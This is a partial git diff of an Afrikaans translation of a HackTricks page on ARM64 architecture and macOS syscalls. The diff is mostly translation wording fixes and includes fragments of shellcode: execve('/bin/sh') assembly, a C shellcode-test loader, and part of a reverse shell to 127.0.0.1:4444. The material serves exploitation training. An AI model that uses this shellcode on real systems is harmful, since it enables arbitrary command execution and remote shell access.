Let daarop dat die oorgang van 64-bietjie na 32-bietjie plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bietjie program in EL1 wat 'n program in EL0 aanhits). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme se CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en betree A32 of T32 afhangende van CPSR\*\*.\*\*
|
||||
|
||||
Die **`interworking`** vind plaas deur die gebruik van die J- en T-bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit kom neer op die stelling van die **laagste bit op 1** om aan te dui dat die instruksiestel T32 is.\
|
||||
Dit word ingestel tydens die **interworking takinstruksies**, maar kan ook direk met ander instruksies ingestel word wanneer die PC as die bestemmingsregister ingestel word. Voorbeeld:
|
||||
Die **`interworking`** vind plaas deur die gebruik van die J en T-bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit kom neer op die stelling van die **laagste bit op 1** om aan te dui dat die instruksiestel T32 is.\
|
||||
Dit word ingestel tydens die **interworking takinstruksies,** maar kan ook direk met ander instruksies ingestel word wanneer die PC as die bestemmingsregister ingestel word. Voorbeeld:
|
||||
|
||||
'n Ander voorbeeld:
|
||||
```armasm
|
||||
|
|
@ -284,7 +284,7 @@ Daar is 16 32-bit registers (r0-r15). **Vanaf r0 tot r14** kan hulle gebruik wor
|
|||
- **`r13`**: Stewelwyser
|
||||
- **`r14`**: Skakelregister
|
||||
|
||||
Verder word registers ondersteun in **`gebankte registre`**. Dit is plekke wat die registerwaardes stoor om vinnige konteksverandering in uitsonderingshantering en bevoorregte operasies moontlik te maak om die behoefte om registers elke keer handmatig te stoor en herstel te vermy.\
|
||||
Verder word registers ondersteun in **`gebankte registre`**. Dit is plekke wat die registerwaardes stoor om vinnige konteksverandering in uitsonderingshantering en bevoorregte operasies moontlik te maak om die behoefte om registers elke keer handmatig te red en te herstel, te vermy.\
|
||||
Dit word gedoen deur **om die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerkermodus waarheen die uitsondering geneem word, te stoor. By die terugkeer van die uitsondering word die **`CPSR`** herstel vanaf die **`SPSR`**.
|
||||
|
||||
### CPSR - Huidige Programstatusregister
|
||||
|
|
@ -295,16 +295,16 @@ In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word dit ook
|
|||
|
||||
Die velde is verdeel in sekere groepe:
|
||||
|
||||
- Toepassingsprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
|
||||
- Aansoekprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
|
||||
- Uitvoeringsstatusregistre: Proseshantering (deur die OS bestuur).
|
||||
|
||||
#### Toepassingsprogramstatusregister (APSR)
|
||||
#### Aansoekprogramstatusregister (APSR)
|
||||
|
||||
- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
|
||||
- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heeltalversadiging plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende wiskundige instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig na 0 gestel word. Verder is daar geen instruksie wat sy waarde implisiet kontroleer nie, dit moet handmatig gelees word.
|
||||
- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Enkel Instruksie, Meervoudige Data) operasies, soos "parallelle optel" en "parallelle aftrek". Hierdie operasies maak dit moontlik om meervoudige datapunte in 'n enkele instruksie te verwerk.
|
||||
- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Enkel Instruksie, Meervoudige Data) operasies, soos "parallelle optel" en "parallelle aftrekking". Hierdie operasies maak dit moontlik om meervoudige datapunte in 'n enkele instruksie te verwerk.
|
||||
|
||||
Byvoorbeeld, die **`UADD8`** instruksie **tel vier pare van byte op** (vanaf twee 32-bit operandos) parallel op en stoor die resultate in 'n 32-bit register. Dit stel dan die `GE`-vlae in die `APSR` in op grond van hierdie resultate. Elke GE-vlag stem ooreen met een van die byte optellings, wat aandui of die optelling vir daardie bytepaar **oorvloei** het.
|
||||
Byvoorbeeld, die **`UADD8`** instruksie **tel vier pare van byte op** (vanaf twee 32-bit operandos) parallel op en stoor die resultate in 'n 32-bit register. Dit stel dan die `GE` vlae in die `APSR` in op grond van hierdie resultate. Elke GE-vlag stem ooreen met een van die byte optellings, wat aandui of die optelling vir daardie bytepaar **oorvloei** het.
|
||||
|
||||
Die **`SEL`** instruksie gebruik hierdie GE-vlae om voorwaardelike aksies uit te voer.
|
||||
|
||||
|
|
@ -312,8 +312,8 @@ Die **`SEL`** instruksie gebruik hierdie GE-vlae om voorwaardelike aksies uit te
|
|||
|
||||
- Die **`J`** en **`T`** bietjies: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksiestel A32 gebruik, en as dit 1 is, word die T32 gebruik.
|
||||
- **IT Blokstatusregister** (`ITSTATE`): Dit is die bietjies vanaf 10-15 en 25-26. Hulle stoor voorwaardes vir instruksies binne 'n **`IT`** voorafgegane groep.
|
||||
- **`E`**-bit: Dui die **endianness** aan.
|
||||
- **Modus- en Uitsonderingsmaskerbietjies** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** een dui aan of die program as 32-biet (‘n 1) of 64-biet (‘n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommerstel **dui die huidige prioriteit** aan in geval 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
|
||||
- **`E`** bietjie: Dui die **eindigheid** aan.
|
||||
- **Modus- en Uitsonderingsmaskerbietjies** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** een dui aan of die program as 32-bietjie (‘n 1) of 64-bietjie (‘n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommerstel dui die huidige prioriteit aan in geval 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -321,15 +321,15 @@ Die **`SEL`** instruksie gebruik hierdie GE-vlae om voorwaardelike aksies uit te
|
|||
|
||||
## macOS
|
||||
|
||||
### BSD-sisteemaanroep
|
||||
### BSD-systeemaanroep
|
||||
|
||||
Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD-sisteemaanroepe sal **x16 > 0** hê.
|
||||
Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD-systeemaanroepe sal **x16 > 0** hê.
|
||||
|
||||
### Mach-valstrikke
|
||||
|
||||
Kyk na in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) die `mach_trap_table` en in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) die prototipes. Die maksimum aantal Mach-valstrikke is `MACH_TRAP_TABLE_COUNT` = 128. Mach-valstrikke sal **x16 < 0** hê, dus moet jy die nommers van die vorige lys met 'n **min-teken** noem: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
|
||||
Kyk na in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die prototipes. Die maksimum aantal Mach-valstrikke is `MACH_TRAP_TABLE_COUNT` = 128. Mach-valstrikke sal **x16 < 0** hê, dus moet jy die nommers van die vorige lys met 'n **min** aanroep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
|
||||
|
||||
Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om uit te vind hoe om hierdie (en BSD) sisteemaanroepe te doen:
|
||||
Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om uit te vind hoe om hierdie (en BSD) systeemaanroepe te doen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -351,7 +351,7 @@ XNU ondersteun 'n ander tipe oproepe genaamd masjienafhanklik. Die hoeveelheid v
|
|||
|
||||
### komm-pagina
|
||||
|
||||
Dit is 'n kernel-eienaar-geheuebladsy wat in die adresruimte van elke gebruikersproses afgebeeld word. Dit is bedoel om die oorgang vanaf gebruikersmodus na kernelruimte vinniger te maak as om syscalls te gebruik vir kernelsdiens wat soveel gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
|
||||
Dit is 'n kernel-eienaar-geheuebladsy wat in die adresruimte van elke gebruikersproses afgebeeld word. Dit is bedoel om die oorgang van gebruikersmodus na kernelruimte vinniger te maak as om syscalls te gebruik vir kernelsdiens wat soveel gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
|
||||
|
||||
Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die komm-pagina af.
|
||||
|
||||
|
|
@ -401,7 +401,11 @@ done
|
|||
```
|
||||
<besonderhede>
|
||||
|
||||
<opsomming>C-kode om die shellcode te toets</opsomming>
|
||||
<opsomming>
|
||||
|
||||
<besonderhede>
|
||||
|
||||
<beskrywing> C-kode om die dopkode te toets </beskrywing>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
|
@ -499,6 +503,24 @@ mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument
|
|||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="met adr vir Linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
adr x0, sh_path ; This is the address of "/bin/sh".
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### Lees met kat
|
||||
|
||||
|
|
@ -656,7 +678,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Omgekeerde dop
|
||||
#### Terugskulp
|
||||
|
||||
Van [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
|
@ -725,9 +747,9 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
<besonderhede>
|
||||
<details>
|
||||
|
||||
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
|
|
@ -735,6 +757,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</besonderhede>
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue